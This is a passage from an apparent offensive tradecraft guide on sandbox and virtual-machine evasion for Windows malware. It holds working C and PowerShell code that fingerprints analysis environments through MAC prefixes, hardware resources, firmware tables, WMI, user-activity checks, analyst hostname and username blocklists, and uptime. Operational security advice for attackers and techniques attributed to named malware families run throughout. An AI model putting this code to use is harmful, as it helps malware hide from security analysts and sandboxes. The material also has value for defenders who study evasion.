
BOOL check_mac_addresses() {
    // Get adapter list
    ULONG bufLen = 0;
    GetAdaptersInfo(NULL, &bufLen);  // Get required size

    IP_ADAPTER_INFO* pAdapters = (IP_ADAPTER_INFO*)malloc(bufLen);
    if (!pAdapters) return FALSE;

    if (GetAdaptersInfo(pAdapters, &bufLen) != ERROR_SUCCESS) {
        free(pAdapters);
        return FALSE;
    }

    BOOL found = FALSE;
    IP_ADAPTER_INFO* pAdapter = pAdapters;

    while (pAdapter) {
        if (pAdapter->AddressLength == 6) {
            BYTE* mac = pAdapter->Address;

            printf("[*] Adapter: %s — MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
                   pAdapter->AdapterName,
                   mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

            // Check OUI prefix
            for (int i = 0; i < sizeof(vm_ouis)/sizeof(vm_ouis[0]); i++) {
                if (mac[0] == vm_ouis[i].oui[0] &&
                    mac[1] == vm_ouis[i].oui[1] &&
                    mac[2] == vm_ouis[i].oui[2]) {
                    printf("[+] VM MAC OUI detected: %s (%02X:%02X:%02X)\n",
                           vm_ouis[i].vendor,
                           mac[0], mac[1], mac[2]);
                    found = TRUE;
                }
            }
        }
        pAdapter = pAdapter->Next;
    }

    free(pAdapters);
    return found;
}

6.3 MAC Check (PowerShell)

# mac_check.ps1 — Check for VM NIC MAC addresses

$vm_prefixes = @(
    "00:0C:29",  # VMware Workstation
    "00:50:56",  # VMware ESXi
    "08:00:27",  # VirtualBox
    "00:15:5D",  # Hyper-V
    "00:1C:42",  # Parallels
    "52:54:00",  # QEMU/KVM
    "00:16:3E"   # Xen/AWS
)

$nics = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.MACAddress }

$hits = 0
foreach ($nic in $nics) {
    $mac = $nic.MACAddress.ToUpper()
    foreach ($prefix in $vm_prefixes) {
        if ($mac.StartsWith($prefix.ToUpper())) {
            Write-Host "[+] VM MAC detected: $mac → $prefix"
            $hits++
        }
    }
}

if ($hits -eq 0) { Write-Host "[-] No VM MAC addresses found" }

6.4 OPSEC Notes for MAC Checks

[FP] FALSE POSITIVE RISK — HIGH:
  - 00:16:3E is used by both Xen AND AWS EC2 instances
  - 00:15:5D is used by REAL Windows 11 Hyper-V subsystems (WSL2, Docker)
  - Many developers run Docker → Hyper-V NIC → false positive!

[EVASION] Sandbox counter:
  - Sandboxes often change MAC to a "real" vendor OUI
  - ANY.RUN: uses realistic-looking Intel/Realtek MACs
  - Cuckoo: configurable — many deployments use real MACs

[OPSEC] Usage advice:
  - Never abort on MAC alone — use as one point in scoring (§17)
  - Combine: MAC + registry + process names = high confidence
  - Docker/WSL2 users will have Hyper-V MACs → false detection on developer machines

7. Hardware Resource Checks — CPU / RAM / Disk

What it means: Sandboxes are resource-constrained. They typically run with 1-2 CPU cores, 2-4 GB RAM, and small disk images (under 80 GB). Real corporate workstations have 4-16 cores, 8-32 GB RAM, and 256 GB+ disks. These checks catch cheaply provisioned sandboxes.

7.1 CPU Core Count (C)

// cpu_check.c — CPU core count sandbox detection

#include <windows.h>
#include <stdio.h>

BOOL sandbox_cpu_cores() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);

    int cores = si.dwNumberOfProcessors;
    printf("[*] Logical processor count: %d\n", cores);

    // Sandboxes typically: 1-2 cores
    // Real corporate workstations: 4-16+ cores
    // Threshold: fewer than 4 cores = suspicious
    if (cores < 4) {
        printf("[+] Low CPU count (%d) — possible sandbox\n", cores);
        return TRUE;
    }
    return FALSE;
}

// Also check via WMI for physical cores (§9)

7.2 RAM Size Check (C)

// ram_check.c — Physical memory sandbox detection

#include <windows.h>
#include <stdio.h>

BOOL sandbox_low_ram() {
    MEMORYSTATUSEX memStatus;
    memStatus.dwLength = sizeof(memStatus);

    if (!GlobalMemoryStatusEx(&memStatus)) return FALSE;

    // Convert to GB
    double totalGBphys = (double)memStatus.ullTotalPhys / (1024.0 * 1024.0 * 1024.0);
    printf("[*] Physical RAM: %.2f GB\n", totalGBphys);

    // Sandboxes: 1-4 GB
    // Real machines: 8-32+ GB
    if (totalGBphys < 4.0) {
        printf("[+] Low RAM (%.2fGB) — possible sandbox\n", totalGBphys);
        return TRUE;
    }
    return FALSE;
}

7.3 Disk Size Check — IOCTL and Free Space (C)

// disk_check.c — Disk size sandbox detection

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>

// Method 1: GetDiskFreeSpaceEx — simple, no admin required
BOOL sandbox_disk_size_freespace() {
    ULARGE_INTEGER freeBytesAvail, totalBytes, totalFree;

    if (!GetDiskFreeSpaceExA("C:\\", &freeBytesAvail,
                              &totalBytes, &totalFree)) {
        return FALSE;
    }

    double totalGB = (double)totalBytes.QuadPart / (1024.0 * 1024.0 * 1024.0);
    printf("[*] Disk C: total size: %.2f GB\n", totalGB);

    // Sandboxes: 40-80 GB typical
    // Real machines: 256 GB+
    if (totalGB < 100.0) {
        printf("[+] Small disk (%.2f GB) — possible sandbox\n", totalGB);
        return TRUE;
    }
    return FALSE;
}

// Method 2: DeviceIoControl — IOCTL_DISK_GET_LENGTH_INFO (more accurate)
BOOL sandbox_disk_ioctl() {
    HANDLE hDisk = CreateFileA(
        "\\\\.\\PhysicalDrive0",  // First physical disk
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL
    );

    if (hDisk == INVALID_HANDLE_VALUE) return FALSE;

    GET_LENGTH_INFORMATION diskLen = {0};
    DWORD bytes = 0;

    BOOL ok = DeviceIoControl(
        hDisk,
        IOCTL_DISK_GET_LENGTH_INFO,
        NULL, 0,
        &diskLen, sizeof(diskLen),
        &bytes, NULL
    );

    CloseHandle(hDisk);

    if (!ok) return FALSE;

    double diskGB = (double)diskLen.Length.QuadPart / (1024.0 * 1024.0 * 1024.0);
    printf("[*] PhysicalDrive0 size (IOCTL): %.2f GB\n", diskGB);

    if (diskGB < 100.0) {
        printf("[+] Small physical disk (%.2f GB) — possible sandbox\n", diskGB);
        return TRUE;
    }
    return FALSE;
}

7.4 Recent Files Count

// recent_files.c — Check recent files count (user activity proxy)

#include <windows.h>
#include <stdio.h>

int count_recent_files() {
    char recent_path[MAX_PATH];

    // Get path to %APPDATA%\Microsoft\Windows\Recent
    if (FAILED(SHGetFolderPathA(NULL, CSIDL_RECENT, NULL, 0, recent_path)))
        return -1;

    strncat(recent_path, "\\*", MAX_PATH - strlen(recent_path) - 1);

    WIN32_FIND_DATAA fd;
    HANDLE hFind = FindFirstFileA(recent_path, &fd);
    if (hFind == INVALID_HANDLE_VALUE) return 0;

    int count = 0;
    do {
        if (strcmp(fd.cFileName, ".") != 0 && strcmp(fd.cFileName, "..") != 0)
            count++;
    } while (FindNextFileA(hFind, &fd));

    FindClose(hFind);
    return count;
}

BOOL sandbox_no_recent_files() {
    int count = count_recent_files();
    printf("[*] Recent files count: %d\n", count);

    // Real users accumulate many recent files over time
    // A freshly provisioned sandbox: 0-5 recent files
    if (count < 10) {
        printf("[+] Very few recent files (%d) — possible sandbox\n", count);
        return TRUE;
    }
    return FALSE;
}

8. BIOS / SMBIOS / ACPI Checks

What it means: BIOS/UEFI firmware and SMBIOS (System Management BIOS) tables contain system identification strings. VMs populate these with vendor-specific strings: "VMware Virtual Platform", "VirtualBox", "BOCHS", etc. Checking these firmware tables bypasses most registry-level counters but requires lower-level API access.

8.1 System Firmware Table Check (C — GetSystemFirmwareTable)

// smbios_check.c — Read SMBIOS table and scan for VM strings

#include <windows.h>
#include <stdio.h>
#include <string.h>

// Known VM strings in SMBIOS data
const char* vm_smbios_strings[] = {
    "VMware",
    "VirtualBox",
    "VBox",
    "VBOX",
    "BOCHS",           // QEMU often uses BOCHS BIOS
    "QEMU",
    "Virtual Machine",
    "Parallels",
    "innotek GmbH",    // Old VirtualBox manufacturer
    "Oracle Corporation", // VirtualBox manufacturer
    "Microsoft Hyper-V",
    "Xen",
    "KVM",
    NULL
};

BOOL check_smbios_for_vm_strings() {
    // Get size of SMBIOS firmware table
    DWORD size = GetSystemFirmwareTable('RSMB', 0, NULL, 0);
    if (size == 0) {
        printf("[-] Could not get SMBIOS table size\n");
        return FALSE;
    }

    BYTE* buf = (BYTE*)malloc(size);
    if (!buf) return FALSE;

    DWORD result = GetSystemFirmwareTable('RSMB', 0, buf, size);
    if (result == 0) {
        free(buf);
        return FALSE;
    }

    // Convert SMBIOS buffer to string for searching
    // SMBIOS tables contain null-terminated ASCII strings
    // Scan the raw buffer for VM-specific substrings
    BOOL found = FALSE;

    for (int i = 0; vm_smbios_strings[i]; i++) {
        // Search for substring in raw buffer
        for (DWORD j = 0; j < size - strlen(vm_smbios_strings[i]); j++) {
            if (_strnicmp((char*)buf + j, vm_smbios_strings[i],
                          strlen(vm_smbios_strings[i])) == 0) {
                printf("[+] SMBIOS contains VM string: '%s' at offset %lu\n",
                       vm_smbios_strings[i], j);
                found = TRUE;
                break;
            }
        }
    }

    free(buf);
    return found;
}

8.2 ACPI Table Check (C)

// acpi_check.c — Scan ACPI tables for VM signatures

#include <windows.h>
#include <stdio.h>

// ACPI table signatures from VMs
const char* vm_acpi_sigs[] = {
    "VBOX",   // VirtualBox ACPI tables
    "VMWARE", // VMware ACPI tables (rare)
    "BOCHS",  // QEMU BOCHS ACPI
    "BXPC",   // BOCHS PC (QEMU)
    "BXBS",
    NULL
};

BOOL check_acpi_for_vm_strings() {
    // Get ACPI RSDT (Root System Description Table)
    DWORD size = GetSystemFirmwareTable('ACPI', 0, NULL, 0);
    if (size == 0) return FALSE;

    BYTE* buf = (BYTE*)malloc(size);
    if (!buf) return FALSE;

    GetSystemFirmwareTable('ACPI', 0, buf, size);

    BOOL found = FALSE;
    for (int i = 0; vm_acpi_sigs[i]; i++) {
        // Search raw ACPI data
        for (DWORD j = 0; j < size - 4; j++) {
            if (memcmp(buf + j, vm_acpi_sigs[i],
                        min(4, strlen(vm_acpi_sigs[i]))) == 0) {
                printf("[+] ACPI contains VM signature: '%s'\n",
                       vm_acpi_sigs[i]);
                found = TRUE;
                break;
            }
        }
    }

    free(buf);
    return found;
}

8.3 BIOS Strings via WMI

# bios_check.ps1 — Query BIOS for VM strings via WMI

$bios = Get-WmiObject Win32_BIOS
$cs   = Get-WmiObject Win32_ComputerSystem
$bb   = Get-WmiObject Win32_BaseBoard

Write-Host "[*] BIOS Manufacturer: $($bios.Manufacturer)"
Write-Host "[*] BIOS Version:      $($bios.SMBIOSBIOSVersion)"
Write-Host "[*] BIOS SerialNumber: $($bios.SerialNumber)"
Write-Host "[*] CS Manufacturer:   $($cs.Manufacturer)"
Write-Host "[*] CS Model:          $($cs.Model)"
Write-Host "[*] Baseboard:         $($bb.Manufacturer) / $($bb.Product)"

$vm_strings = @("VMware", "VirtualBox", "VBox", "innotek",
                "BOCHS", "QEMU", "Parallels", "Hyper-V", "Xen", "KVM")

$hits = 0
$all_values = @($bios.Manufacturer, $bios.SMBIOSBIOSVersion,
                $bios.SerialNumber, $cs.Manufacturer, $cs.Model,
                $bb.Manufacturer, $bb.Product)

foreach ($val in $all_values) {
    foreach ($s in $vm_strings) {
        if ($val -match $s) {
            Write-Host "[+] VM string found: '$s' in '$val'"
            $hits++
        }
    }
}

if ($hits -eq 0) { Write-Host "[-] No VM BIOS strings detected" }

9. WMI-Based Detection

What it means: Windows Management Instrumentation (WMI) provides high-level access to system hardware and software information via SQL-like queries. Many malware families prefer WMI over direct registry/API calls because WMI queries can bypass some sandbox monitoring hooks (processes spawned via WMI may not be tracked). Also useful for GPU detection — sandboxes lack real GPUs.

9.1 WMI ComputerSystem and BIOS (C)

// wmi_check.c — VM detection via WMI queries

#include <windows.h>
#include <wbemidl.h>
#include <comdef.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")

// Helper: Run a WMI query and get a string property
BOOL wmi_get_string(const wchar_t* query, const wchar_t* prop,
                     wchar_t* out, DWORD out_size) {
    IWbemLocator* pLoc = NULL;
    IWbemServices* pSvc = NULL;
    IEnumWbemClassObject* pEnum = NULL;
    IWbemClassObject* pObj = NULL;
    ULONG uReturn = 0;
    BOOL found = FALSE;

    CoInitializeEx(0, COINIT_MULTITHREADED);

    CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
                     IID_IWbemLocator, (LPVOID*)&pLoc);

    pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0,
                         NULL, 0, 0, &pSvc);

    CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE,
                       NULL, RPC_C_AUTHN_LEVEL_CALL,
                       RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    pSvc->ExecQuery(_bstr_t(L"WQL"), _bstr_t(query),
                     WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
                     NULL, &pEnum);

    if (pEnum && pEnum->Next(WBEM_INFINITE, 1, &pObj, &uReturn) == S_OK) {
        VARIANT vtProp;
        VariantInit(&vtProp);
        if (SUCCEEDED(pObj->Get(prop, 0, &vtProp, 0, 0))) {
            if (vtProp.vt == VT_BSTR && vtProp.bstrVal) {
                wcsncpy_s(out, out_size, vtProp.bstrVal, _TRUNCATE);
                found = TRUE;
            }
        }
        VariantClear(&vtProp);
        pObj->Release();
    }

    if (pEnum) pEnum->Release();
    if (pSvc)  pSvc->Release();
    if (pLoc)  pLoc->Release();
    CoUninitialize();
    return found;
}

BOOL wmi_detect_vm() {
    wchar_t result[256];
    BOOL vm_found = FALSE;

    // Check 1: Win32_ComputerSystem — Manufacturer + Model
    if (wmi_get_string(L"SELECT Manufacturer FROM Win32_ComputerSystem",
                        L"Manufacturer", result, 256)) {
        wprintf(L"[*] WMI Manufacturer: %ls\n", result);
        if (wcsstr(result, L"VMware") || wcsstr(result, L"VirtualBox") ||
            wcsstr(result, L"Parallels") || wcsstr(result, L"innotek") ||
            wcsstr(result, L"QEMU") || wcsstr(result, L"Microsoft")) {
            wprintf(L"[+] VM Manufacturer: %ls\n", result);
            vm_found = TRUE;
        }
    }

    // Check 2: Win32_BIOS — SerialNumber
    if (wmi_get_string(L"SELECT SerialNumber FROM Win32_BIOS",
                        L"SerialNumber", result, 256)) {
        wprintf(L"[*] WMI BIOS SerialNumber: %ls\n", result);
        if (wcsstr(result, L"VMware") || wcsstr(result, L"VirtualBox") ||
            wcsstr(result, L"0") && wcslen(result) < 5) {  // short/null serial = VM
            wprintf(L"[+] VM BIOS serial: %ls\n", result);
            vm_found = TRUE;
        }
    }

    // Check 3: Win32_LogicalDisk — disk size
    // (see §7 for full disk check)

    // Check 4: Win32_VideoController — GPU name
    if (wmi_get_string(L"SELECT Name FROM Win32_VideoController",
                        L"Name", result, 256)) {
        wprintf(L"[*] WMI GPU: %ls\n", result);
        if (wcsstr(result, L"VMware") || wcsstr(result, L"VirtualBox") ||
            wcsstr(result, L"Basic Display") ||
            wcsstr(result, L"Microsoft Basic Render") ||
            wcsstr(result, L"SVGA")) {
            wprintf(L"[+] VM GPU detected: %ls\n", result);
            vm_found = TRUE;
        }
    }

    return vm_found;
}

9.2 WMI Hardware Checks (PowerShell — All-in-One)

# wmi_sandbox_detect.ps1 — Comprehensive WMI-based sandbox detection

function Invoke-WMISandboxCheck {
    $score = 0
    $vm_keywords = @("VMware", "VirtualBox", "VBox", "innotek", "QEMU",
                     "Parallels", "Bochs", "Xen", "KVM", "Hyper-V",
                     "Microsoft Corporation", "Virtual Machine")

    # 1. Computer System
    $cs = Get-WmiObject Win32_ComputerSystem
    Write-Host "[*] CS Manufacturer: $($cs.Manufacturer) | Model: $($cs.Model)"
    foreach ($kw in $vm_keywords) {
        if ($cs.Manufacturer -match $kw -or $cs.Model -match $kw) {
            Write-Host "[+] VM keyword in CS: $kw"; $score++
        }
    }

    # 2. BIOS
    $bios = Get-WmiObject Win32_BIOS
    Write-Host "[*] BIOS: $($bios.Manufacturer) | $($bios.SMBIOSBIOSVersion)"
    foreach ($kw in $vm_keywords) {
        if ($bios.Manufacturer -match $kw -or $bios.SMBIOSBIOSVersion -match $kw) {
            Write-Host "[+] VM keyword in BIOS: $kw"; $score++
        }
    }

    # 3. GPU
    $gpu = Get-WmiObject Win32_VideoController | Select-Object -First 1
    Write-Host "[*] GPU: $($gpu.Name)"
    $vm_gpus = @("VMware", "VirtualBox", "Basic Display", "Basic Render",
                  "SVGA", "Red Hat QXL", "Standard VGA")
    foreach ($kw in $vm_gpus) {
        if ($gpu.Name -match $kw) {
            Write-Host "[+] VM GPU: $($gpu.Name)"; $score++; break
        }
    }

    # 4. Physical memory
    $ramGB = [Math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
    Write-Host "[*] RAM: ${ramGB}GB"
    if ($ramGB -lt 4) { Write-Host "[+] Low RAM: ${ramGB}GB"; $score++ }

    # 5. Processor count
    Write-Host "[*] Processors: $($cs.NumberOfLogicalProcessors)"
    if ($cs.NumberOfLogicalProcessors -lt 4) {
        Write-Host "[+] Low CPU count: $($cs.NumberOfLogicalProcessors)"; $score++
    }

    # 6. Disk size
    $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
    $diskGB = [Math]::Round($disk.Size / 1GB, 2)
    Write-Host "[*] Disk C: ${diskGB}GB"
    if ($diskGB -lt 100) { Write-Host "[+] Small disk: ${diskGB}GB"; $score++ }

    # 7. Part of domain (corporate machines usually are)
    Write-Host "[*] Domain joined: $($cs.PartOfDomain)"
    # Note: Not scoring this — sandboxes may simulate domain

    # 8. Temperature (GravityRAT technique — VMs have no real temp sensors)
    $temp = Get-WmiObject MSAcpi_ThermalZoneTemperature `
                -Namespace "root/wmi" -ErrorAction SilentlyContinue
    if ($null -eq $temp) {
        Write-Host "[+] No thermal sensor data — possible VM"; $score++
    }

    return $score
}

$score = Invoke-WMISandboxCheck
Write-Host "[*] WMI sandbox score: $score / 8"
if ($score -ge 3) { Write-Host "[!] SANDBOX DETECTED"; exit 0 }

9.3 GPU / Temperature Detection (GravityRAT Technique)

// gpu_temp.c — VMs have no real GPU; temperature sensors absent

#include <windows.h>
#include <stdio.h>

// VMs typically expose generic/virtual GPUs:
// "VMware SVGA II", "VirtualBox Graphics Adapter",
// "Microsoft Basic Display Adapter", "Microsoft Hyper-V Video"
// Real machines: NVIDIA, AMD, Intel Iris, etc.

const char* vm_gpus[] = {
    "VMware SVGA",
    "VirtualBox",
    "Microsoft Basic Display",
    "Microsoft Hyper-V Video",
    "Standard VGA",
    "Red Hat QXL",
    "Parallels Display",
    NULL
};

// Check Display device names via EnumDisplayDevicesA
BOOL detect_vm_gpu() {
    DISPLAY_DEVICEA dd;
    dd.cb = sizeof(dd);

    for (DWORD i = 0; EnumDisplayDevicesA(NULL, i, &dd, 0); i++) {
        printf("[*] Display device %lu: %s\n", i, dd.DeviceString);

        for (int j = 0; vm_gpus[j]; j++) {
            if (StrStrIA(dd.DeviceString, vm_gpus[j])) {
                printf("[+] VM GPU detected: %s\n", dd.DeviceString);
                return TRUE;
            }
        }
    }
    return FALSE;
}

10. User Activity & Human Interaction Checks

What it means: A real user sitting at a computer generates constant interaction: mouse movement, keystrokes, window focus changes, recently opened files. Automated sandboxes have none of this (or simulate it poorly). Checking for human activity artifacts is one of the most sandbox-resistant techniques — it can't be faked without significant sandbox engineering.

10.1 Mouse Movement Detection (C)

// mouse_check.c — Check for real user mouse movement

#include <windows.h>
#include <stdio.h>

// Method 1: Compare cursor position over time
BOOL wait_for_mouse_movement(DWORD timeout_ms, DWORD check_interval_ms) {
    POINT pos1, pos2;
    GetCursorPos(&pos1);

    DWORD start = GetTickCount();

    while (GetTickCount() - start < timeout_ms) {
        Sleep(check_interval_ms);
        GetCursorPos(&pos2);

        if (pos2.x != pos1.x || pos2.y != pos1.y) {
            printf("[*] Mouse moved: (%ld,%ld) → (%ld,%ld)\n",
                   pos1.x, pos1.y, pos2.x, pos2.y);
            return TRUE;  // Real user movement
        }
        pos1 = pos2;  // Update position
    }
    return FALSE;  // No movement — sandbox
}

// Method 2: Check if mouse coordinates are non-zero / non-centered
// Sandboxes often initialize cursor at (0,0) or screen center
BOOL check_mouse_position() {
    POINT pos;
    GetCursorPos(&pos);
    printf("[*] Current cursor: (%ld, %ld)\n", pos.x, pos.y);

    // Cursor at exact (0,0) is suspicious
    if (pos.x == 0 && pos.y == 0) {
        printf("[+] Cursor at (0,0) — sandbox likely\n");
        return TRUE;
    }
    return FALSE;
}

10.2 Keyboard State & GetLastInputInfo (C)

// input_check.c — Check system idle time and keyboard state

#include <windows.h>
#include <stdio.h>

// Check how long since last user input
DWORD get_idle_time_ms() {
    LASTINPUTINFO lii = { sizeof(lii) };
    if (!GetLastInputInfo(&lii)) return 0;
    return GetTickCount() - lii.dwTime;
}

BOOL sandbox_no_user_input() {
    DWORD idle_ms = get_idle_time_ms();
    printf("[*] System idle time: %lu ms (%.1f sec)\n",
           idle_ms, idle_ms / 1000.0);

    // If system has been idle for more than 10 minutes AND just started
    // this is very suspicious — real users are active
    DWORD uptime_ms = GetTickCount();

    // System just booted (< 5 min uptime) AND idle since boot → sandbox
    if (uptime_ms < 300000 && idle_ms > (uptime_ms - 5000)) {
        printf("[+] No user input since boot — possible sandbox\n");
        return TRUE;
    }

    // More than 30 minutes idle → not actively running session
    if (idle_ms > 1800000) {
        printf("[+] Very long idle (%.1f min) — no active user\n",
               idle_ms / 60000.0);
        return TRUE;
    }

    return FALSE;
}

// Check if any keyboard keys are currently pressed (Tinba technique)
BOOL check_keyboard_state() {
    // GetAsyncKeyState: if any key is being pressed when checked
    // On a real machine during normal operation, most keys = 0
    // Sandboxes that simulate key presses might have keys "stuck"
    int pressed = 0;
    for (int vk = 0x41; vk <= 0x5A; vk++) {  // A-Z
        if (GetAsyncKeyState(vk) & 0x8000) pressed++;
    }
    if (pressed > 3) {
        printf("[+] Multiple keys pressed (%d) — sandbox simulation\n", pressed);
        return TRUE;
    }
    return FALSE;
}

10.3 Recent Files & User Profile Activity

// user_activity.c — Check for user profile activity indicators

#include <windows.h>
#include <shlobj.h>
#include <stdio.h>

int count_files_in_folder(const char* folder_path, const char* pattern) {
    char full_path[MAX_PATH];
    snprintf(full_path, MAX_PATH, "%s\\%s", folder_path, pattern);

    WIN32_FIND_DATAA fd;
    HANDLE hFind = FindFirstFileA(full_path, &fd);
    if (hFind == INVALID_HANDLE_VALUE) return 0;

    int count = 0;
    do { count++; } while (FindNextFileA(hFind, &fd));
    FindClose(hFind);
    return count;
}

BOOL sandbox_no_user_history() {
    char path[MAX_PATH];
    int total_indicators = 0;

    // Check 1: Recent files
    SHGetFolderPathA(NULL, CSIDL_RECENT, NULL, 0, path);
    int recent = count_files_in_folder(path, "*.lnk");
    printf("[*] Recent files (.lnk): %d\n", recent);
    if (recent < 5) { total_indicators++; }

    // Check 2: Downloads folder
    char downloads[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, 0, downloads);  // My Documents
    int docs = count_files_in_folder(downloads, "*.*");
    printf("[*] Documents: %d files\n", docs);
    if (docs < 3) { total_indicators++; }

    // Check 3: Desktop items
    SHGetFolderPathA(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, path);
    int desktop = count_files_in_folder(path, "*.*");
    printf("[*] Desktop items: %d\n", desktop);
    if (desktop < 2) { total_indicators++; }

    // Check 4: Internet Explorer / Edge history exists
    char ie_history[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_HISTORY, NULL, 0, ie_history);
    DWORD attrs = GetFileAttributesA(ie_history);
    if (attrs == INVALID_FILE_ATTRIBUTES) {
        printf("[+] No browser history folder\n");
        total_indicators++;
    }

    printf("[*] User history indicators: %d / 4\n", total_indicators);
    return (total_indicators >= 3);  // 3+ = likely sandbox
}

10.4 Foreground Window Check (Tinba Technique)

// foreground_check.c — Window state checks (Tinba malware technique)

#include <windows.h>
#include <stdio.h>

// Check if the foreground window changes over time
// A real user changes focus; a sandbox has static state
BOOL foreground_window_changes(int checks, int delay_ms) {
    HWND first_fg = GetForegroundWindow();
    int changes = 0;

    for (int i = 0; i < checks; i++) {
        Sleep(delay_ms);
        HWND current_fg = GetForegroundWindow();
        if (current_fg != first_fg) {
            changes++;
            first_fg = current_fg;
        }
    }

    printf("[*] Window focus changes in %d checks: %d\n", checks, changes);

    // No window changes over 30 seconds = no user active
    if (changes == 0) {
        printf("[+] No foreground window changes — no user interaction\n");
        return FALSE;  // No changes = sandbox
    }
    return TRUE;  // Changes = real user
}

11. Hostname & Username Fingerprinting

What it means: Sandboxes are provisioned with predictable, generic hostnames and usernames. Security researchers and automated systems frequently reuse the same names: SANDBOX, MALWARE-PC, JOHN-PC, usernames like sandbox, malware, user, admin. Real corporate machines have more specific, organization-derived names. Many APT malware families (Mispadu, AsyncRAT) use hardcoded block-lists.

11.1 Username & Hostname Checks (C)

// env_check.c — Username and hostname sandbox fingerprinting

#include <windows.h>
#include <stdio.h>
#include <string.h>

// Known sandbox / analyst usernames (lowercase)
const char* sandbox_usernames[] = {
    "sandbox",
    "malware",
    "virus",
    "sample",
    "test",
    "analyst",
    "analysis",
    "user",
    "admin",        // Too generic but present in many sandboxes
    "john",         // Mispadu blocked "JOHN-PC" hostname
    "andy",
    "honey",
    "peter",
    "laboratory",
    "currentuser",
    "tester",
    "vmware",
    "cuckoo",
    "joe",          // Joe Sandbox username
    NULL
};

// Known sandbox hostnames (lowercase substrings)
const char* sandbox_hostnames[] = {
    "sandbox",
    "malware",
    "cuckoo",
    "virus",
    "lab",
    "analysis",
    "sample",
    "vmware",
    "vbox",
    "virtualbox",
    "john-pc",      // Mispadu blocklist
    "klone",
    "honeypot",
    "snort",
    "tester",
    NULL
};

BOOL check_username() {
    char username[256] = {0};
    DWORD size = sizeof(username);
    GetUserNameA(username, &size);
    _strlwr(username);

    printf("[*] Username: %s\n", username);

    for (int i = 0; sandbox_usernames[i]; i++) {
        if (strstr(username, sandbox_usernames[i])) {
            printf("[+] Sandbox username detected: '%s' in '%s'\n",
                   sandbox_usernames[i], username);
            return TRUE;
        }
    }
    return FALSE;
}

BOOL check_hostname() {
    char hostname[256] = {0};
    DWORD size = sizeof(hostname);
    GetComputerNameA(hostname, &size);
    _strlwr(hostname);

    printf("[*] Hostname: %s\n", hostname);

    for (int i = 0; sandbox_hostnames[i]; i++) {
        if (strstr(hostname, sandbox_hostnames[i])) {
            printf("[+] Sandbox hostname detected: '%s' in '%s'\n",
                   sandbox_hostnames[i], hostname);
            return TRUE;
        }
    }
    return FALSE;
}

// Check if domain is a real AD domain (corporate = good, WORKGROUP = sandbox risk)
BOOL check_domain() {
    LPWSTR domain = NULL;
    NETSETUP_JOIN_STATUS status;

    if (NetGetJoinInformation(NULL, &domain, &status) == NERR_Success) {
        wprintf(L"[*] Domain: %ls (status: %d)\n", domain, status);

        if (status == NetSetupWorkgroupName) {
            printf("[+] Machine in WORKGROUP (not domain-joined) — sandbox risk\n");
            NetApiBufferFree(domain);
            return FALSE;  // Not domain-joined
        }
        NetApiBufferFree(domain);
    }
    return TRUE;  // Domain-joined = real corporate machine
}

11.2 Hostname/Username Check (PowerShell)

# env_sandbox.ps1 — PowerShell environment fingerprinting

$sandbox_users = @("sandbox","malware","virus","sample","test",
                   "analyst","user","admin","john","cuckoo","joe")
$sandbox_hosts = @("sandbox","malware","cuckoo","virus","lab",
                   "analysis","vmware","vbox","john-pc","honeypot")

$user = $env:USERNAME.ToLower()
$host = $env:COMPUTERNAME.ToLower()
$domain = (Get-WmiObject Win32_ComputerSystem).Domain

Write-Host "[*] Username: $user"
Write-Host "[*] Hostname: $host"
Write-Host "[*] Domain: $domain"

$score = 0
foreach ($s in $sandbox_users) {
    if ($user -like "*$s*") { Write-Host "[+] Sandbox user: $s"; $score++ }
}
foreach ($s in $sandbox_hosts) {
    if ($host -like "*$s*") { Write-Host "[+] Sandbox host: $s"; $score++ }
}

# Domain check (WORKGROUP = riskier)
if ($domain -eq "WORKGROUP") { Write-Host "[+] Not domain-joined"; $score++ }

Write-Host "[*] Env score: $score"

12. Uptime & Boot Time Checks

What it means: Sandboxes are freshly booted for each analysis session. A real corporate machine has been running for hours, days, or weeks. Checking system uptime identifies recently provisioned VMs. Some malware also checks specific timestamps (last network adapter reset, last boot) to detect sandbox reboots.

12.1 Uptime Check (C)

// uptime_check.c — System uptime sandbox detection

#include <windows.h>
#include <stdio.h>

BOOL sandbox_low_uptime() {
    // GetTickCount64: ms since boot (wraps at 49.7 days for 32-bit)
    ULONGLONG uptime_ms = GetTickCount64();
    double uptime_min = uptime_ms / 60000.0;
    double uptime_hr  = uptime_ms / 3600000.0;

    printf("[*] System uptime: %.1f minutes (%.2f hours)\n",
           uptime_min, uptime_hr);

    // Sandboxes boot fresh for each analysis: typically < 10 minutes uptime
    // Real corporate machines: often 8+ hours (workday) or days (servers)
    if (uptime_min < 12.0) {
        printf("[+] Very low uptime (%.1f min) — recently booted, sandbox likely\n",
               uptime_min);
        return TRUE;
    }
    return FALSE;
}

// Get last boot time via WMI for comparison
BOOL check_last_boot_time() {
    // Compare current time vs GetTickCount64 derivation
    SYSTEMTIME st;
    GetSystemTime(&st);

    FILETIME ft_now;
    SystemTimeToFileTime(&st, &ft_now);

    ULARGE_INTEGER now_100ns;
    now_100ns.LowPart  = ft_now.dwLowDateTime;
    now_100ns.HighPart = ft_now.dwHighDateTime;

    ULONGLONG uptime_100ns = GetTickCount64() * 10000ULL;  // Convert ms to 100ns

    // Estimated boot time (100ns units since 1601)
    ULONGLONG boot_100ns = now_100ns.QuadPart - uptime_100ns;

    // Convert boot time to SYSTEMTIME for display
